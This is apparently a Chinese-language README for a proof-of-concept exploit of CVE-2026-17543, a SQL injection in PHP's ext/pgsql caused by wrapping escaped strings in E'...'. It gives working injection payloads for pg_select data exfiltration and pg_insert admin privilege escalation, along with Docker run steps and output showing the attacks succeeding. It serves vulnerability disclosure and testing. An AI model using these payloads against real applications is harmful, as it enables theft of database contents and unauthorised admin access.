针对 CVE-2026-17543 的 PoC 漏洞利用:通过反斜杠突破在 PHP ext/pgsql 中实现 SQL 注入,并附带针对 PostgreSQL 的数据外泄与管理员权限提升载荷。
ext/pgsql 中通过 E'...' 反斜杠突破的 SQL 注入CVE-2026-17543(CVSS 9.8 严重,CWE-89)的概念验证,这是 PHP 过程化 PostgreSQL 扩展中的一个 SQL 注入漏洞。
pg_insert()、pg_select()、pg_update()、pg_delete() 和 pg_convert() 都会将字符串值传递给 php_pgsql_convert() 处理,该函数:
PQescapeStringConn() 对值进行转义 —— 在 standard_conforming_strings = on(自 9.1 起 PostgreSQL 的默认值)下,会将 ' 加倍为 '',并保持 \ 不变(这对标准 '...' 字面量是正确的)。php_pgsql_add_quotes() 将转义后的结果包装为转义字符串常量 E'...',而不是普通的 '...'。在 E'...' 内部,反斜杠是转义字符,因此放在引号前的 \ 会破坏引号加倍机制:\' 变成一个字面量 ',而第二个引号——由转义器放置在那里作为加倍的字面量——现在会提前终止字符串。其后的一切内容都是原始的、注入的 SQL。
官方修复(提交 ab048bd83b57)只有一处字符改动:输出 '...' 而不是 E'...'。
| 分支 | 受影响版本 | 修复版本 |
|---|---|---|
| PHP 8.2 | < 8.2.33 | 8.2.33 |
| PHP 8.3 | < 8.3.33 | 8.3.33 |
| PHP 8.4 | < 8.4.24 | 8.4.24 |
| PHP 8.5 | < 8.5.9 | 8.5.9 |
不受影响: pg_query_params()(真正的参数绑定)以及 PDO_PGSQL 预处理语句 / PDO::quote() —— 这些使用不同的代码路径,永远不会调用 php_pgsql_add_quotes()。
zzz\' OR 1=1 --
(一个紧跟在单引号前面的反斜杠)
... WHERE "name"=E'zzz\'' OR 1=1 --' → OR 1=1 被解析为 SQL → 返回所有行。... WHERE "name"='zzz\'' OR 1=1 --' → 反斜杠是普通字符,因此 OR 1=1 -- 被吞没在字符串字面量内部 → 匹配不到任何行。第二个载荷(eve\', true) --)演示了通过 pg_insert() 进行的权限提升,将 admin 列强制设为 true。
| 文件 | 描述 |
|---|---|
poc.php | 同时演示 pg_select 数据外泄和 pg_insert 权限提升两种变体;打印生成的 SQL,以便看到 E'...' 标记 |
Dockerfile | 固定使用带 ext/pgsql 的存在漏洞的 PHP CLI 镜像(php:8.4.23-cli) |
docker-compose.yml | 启动 PostgreSQL 16 + 存在漏洞的 PHP 容器并运行 poc.php |
docker compose up --build --abort-on-container-exit
PHP version: 8.4.23
standard_conforming_strings: on
----------------------------------------------------------------------
[1] pg_select() data exfiltration
payload (runtime): zzz\' OR 1=1 --
generated SQL:
SELECT * FROM "users" WHERE "name"=E'zzz\'' OR 1=1 --'
rows returned: 2
[!] INJECTION - leaked every row in the table
[2] pg_insert() privilege escalation
name payload (runtime): eve\', true) --
generated SQL:
INSERT INTO "users" ("name","admin") VALUES (E'eve\'', true) --','f')
inserted row admin flag: 't'
[!] INJECTION - admin column forced to TRUE
Done.
在已修复版本上,生成的 SQL 包含 '...'(没有 E),[1] 报告 rows returned: 0 / no injection,[2] 报告 admin flag: 'f'。
将 PGCONN 指向任意 PostgreSQL,并使用存在漏洞的 PHP 运行:
PGCONN="host=127.0.0.1 port=5432 dbname=test user=test password=test" php poc.php
ext/pgsql(--with-pgsql / pgsql 扩展)。standard_conforming_strings = on)。docker compose down -v
这里使用的 PHP 镜像按定义是未针对 CVE-2026-17543 打补丁的。请仅在隔离的、一次性的容器中运行它,完成后执行 docker compose down -v。切勿将此 PoC 指向你关心的数据库。